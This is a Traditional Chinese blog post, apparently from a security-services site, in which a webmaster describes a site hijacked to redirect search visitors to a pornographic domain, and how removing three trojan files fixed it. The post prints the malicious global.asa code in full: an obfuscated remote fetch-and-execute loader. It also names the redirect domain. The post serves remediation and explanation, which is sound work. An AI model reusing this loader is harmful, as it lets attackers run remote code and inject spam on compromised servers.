eSafe白帽駭客資安網-網絡安全背後的巨人,提供駭客,網站入侵測試,網站被駭,網站漏洞,駭客入侵,資訊安全,入侵,ecshop,wordpress,漏洞修復,木馬清除,資安服務

網站被跳轉的解決辦法

 


        這幾天網站的排名,一直在不停的浮動。在seowhy論壇裡發現也有許多的網站,也和我一樣都排在了一百頁以外去了。 這種情況在seo業界裡稱為  “百度的端午期”。距離百度的端午期過了整整有一個星期了,很多朋友的網站都開始慢慢恢復排名了,可是俺的網站還是被排在了千里之外。有點匪夷所思!無奈為了排名,從頭開始為網站做了詳細的分析。


 

足夠的分析,洞察未來!


 

         首先打開百度,site:自己的網站、發現網站收錄有點異常,再仔細翻頁一看,我的嗎呀!網站竟然被收錄一些黃色和色情之類的垃圾頁面和標題。從百度搜索進入網站的時候,網站被自動跳轉到了http://c.cat777.in/1/a1.html?www這個頁面,而且還被360安全提示為木馬網站。截圖如下:


 

 網站被跳轉


 

    我從來沒遇到過這種情況啊,這幾天自己打開網站也沒出現過跳轉啊,怎麼網站會突然的跳轉到色情頁面上去了呢?有點搞不明白了。 在網上也搜索了許多相關跳轉的文章,發現了都有一個共同的特徵,就是收錄了些色情黃色之類標題內容的快照,從百度搜索來的自動跳轉到黃色的網站上,從原網站登錄進來的不會出現跳轉(就是自己輸入網址打開自己網站不會出現跳轉)。 這種種的情況,讓我開始懷疑網站是不是被黑了呀,網站是不是被中了木馬呀,種種的猜測,也越來越多。


 

理清頭緒,才能找到問題所在!


 

          應該從網站的源代碼方面開始分析,首先登錄FTP把源程序下載到了本地,用 esafe.tw網站木馬檢測了下,發現了三個木馬,分別是 global.asa   cende.asp   about.asp ,其中一個是明文的木馬代碼,代碼如下:


 

sub Session_OnStart

       url="h"&"t"&"t"&"p"&":"&"/"&"/"&"t"&"72"&""&"."&"q"&"u"&"3"&"4"&"5"&"6"&"."&

       Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")

       ObjXMLHTTP.Open "GET",url,False

       ObjXMLHTTP.setRequestHeader "User-Agent", url

       ObjXMLHTTP.send

       GetHtml=ObjXMLHTTP.responseBody

       Set ObjXMLHTTP=Nothing

       set objStream = Server.CreateObject("Adodb.Stream")

       objStream.Type = 1

       objStream.Mode = 3

       objStream.Open

       objStream.Write GetHtml

       objStream.Position = 0

       objStream.Type = 2

       objStream.Charset = "gb2312"

       GetHtml = objStream.ReadText

       objStream.Close

       if instr(GetHtml,"[elvis]") > 0 then Execute(GetHtml)

end sub


 

          這些代碼很明顯不是我網站原有的,找了一位程序設計的朋友咨詢了這段代碼的作用,說是利用了global.asa 這個特殊的文件,來遠程獲取內容和標題的作用。 我這才明白過來,原來網站收錄了這麼多垃圾的黃色頁面,就是這個木馬搞的鬼,木馬從遠程主機獲取內容,並吸引百度的蜘蛛來抓取並收錄。 種種的原因已經分析的很透徹了,木馬欺騙了百度蜘蛛並讓蜘蛛大量的收錄垃圾頁面,對於網站的權重必然會有很大的降權,所以排名才會拒之千里!


 

知道了原因,解決就有了辦法!


 

          把剛才檢測出來的三個木馬文件,刪除掉即可。然後把ftp空間的程序清空掉,把刪除掉木馬的程序文件重新上傳到空間,重新打開網站,網站跳轉的問題也就解決了。最後打開百度的投訴中心http://tousu.baidu.com/webmaster/add  把網站的快照地址 填寫一下 並提交投訴,百度會在一星期內處理,網站排名和收錄的問題也會得到最終的完美解決。


 

         自始至終,解決問題的辦法是離不開詳細的分析。只有分析的足夠,才能足夠的解決問題。以上就是我個人分析以及解決問題的辦法,希望能幫到更多和我一樣的人,幫助別人也是在幫助自己,積德行善,在人生的道路上你才會走的更遠!


分享: